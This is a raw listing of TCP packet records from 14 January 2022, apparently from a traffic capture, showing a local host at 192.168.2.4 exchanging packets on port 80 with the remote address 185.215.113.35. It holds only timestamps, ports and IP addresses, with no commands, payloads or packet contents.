Jan 14, 2022 12:30:14.987170935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.987272024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.987355947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.987458944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.987543106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.987646103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.987735033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.987837076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.987921953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988023996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988107920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988115072 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.988212109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988322020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988409042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988502026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988611937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988701105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988802910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988888025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.988984108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.989074945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.989175081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.989260912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.989360094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.989447117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.989551067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.989653111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.989804029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.989924908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.990020990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.990109921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.990238905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.990385056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.990478992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.990569115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.990658045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.990748882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.990837097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991055012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991244078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991264105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991339922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991426945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991518974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991607904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991697073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991790056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991873026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.991966009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992050886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992136955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992238045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992351055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992439032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992530107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992618084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992618084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.992708921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992809057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992903948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.992989063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.993076086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.993232012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.994546890 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.005322933 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.008029938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.008215904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.008304119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.008402109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.008490086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.008591890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.008680105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.008780003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.008872032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.008970976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.009056091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.009156942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.009596109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.009736061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.009835958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.009927988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010016918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010104895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010207891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010298967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010431051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010544062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010637045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010721922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010816097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010905027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.010993004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011084080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011185884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011275053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011363029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011457920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011547089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011634111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011730909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011816978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011909962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.011997938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012087107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012185097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012279987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012368917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012456894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012547970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012640953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012725115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012820005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012907028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.012996912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.013087988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.013185024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.013274908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.013364077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.013458014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.013552904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.013636112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.013727903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.016570091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.016846895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.016938925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017035007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017124891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017237902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017302990 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.017332077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017437935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017534971 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.017549038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017637968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017729998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017817020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.017904043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018053055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018146038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018244982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018332958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018424034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018513918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018554926 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.018603086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018659115 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.018712044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018815994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018908024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.018994093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019083023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019181967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019277096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019366980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019455910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019546986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019638062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019720078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019815922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019901991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.019994974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020081997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020190001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020279884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020371914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020459890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020548105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020641088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020730019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020814896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020910025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.020927906 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.021017075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.021106958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.021200895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.021292925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.027296066 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.029309988 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.029330969 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.029350996 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.029838085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.029978991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030073881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030175924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030272961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030359983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030447960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030539036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030630112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030714989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030810118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030895948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.030987024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031076908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031181097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031264067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031346083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031430960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031497955 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.031514883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031519890 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.031538010 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.031558037 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.031651974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031761885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031841040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.031923056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.032006025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.032085896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.034171104 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.048413038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.048588991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.048713923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.048795938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.048943996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049036980 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.049056053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049143076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049276114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049382925 CET	80	49919	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.049402952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049580097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049638987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049729109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049820900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049906969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.049994946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.050085068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.050204992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.050307989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.050390005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.050488949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.050755978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.050936937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051048994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051249027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051346064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051434994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051527977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051616907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051707029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051800013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051884890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.051981926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.052197933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.052412987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.054019928 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.055114985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.055155039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.055260897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.055361986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.057806969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.057859898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.057956934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.058032036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.058125019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.060719013 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.062941074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.062983990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.063077927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.063159943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.063446999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.063492060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.063596964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.063682079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.063776970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.063868999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.063946009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064034939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064131021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064249992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064347029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064428091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064513922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064608097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064692974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064780951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064867020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.064960003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.065047979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.065140009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.065356016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.065447092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.065536022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.065640926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.065715075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.065937042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.065946102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.066031933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.066150904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.066267967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.066359043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.066447973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.066538095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.066637993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.082813025 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.082844973 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.082870960 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.082895994 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.082930088 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.082954884 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.082981110 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.083005905 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.083033085 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.083060980 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.083084106 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.083110094 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.083136082 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.083161116 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.083188057 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.092984915 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.093215942 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.103157997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.103269100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.103358030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.103461027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.103555918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.103655100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.103698015 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.103754997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.103856087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.103956938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104041100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104139090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104233027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104331017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104422092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104526043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104612112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104712963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104809999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104907990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.104993105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.105093002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.105205059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.105325937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.105418921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.105513096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.105602026 CET	49914	80	192.168.2.4	185.215.113.35
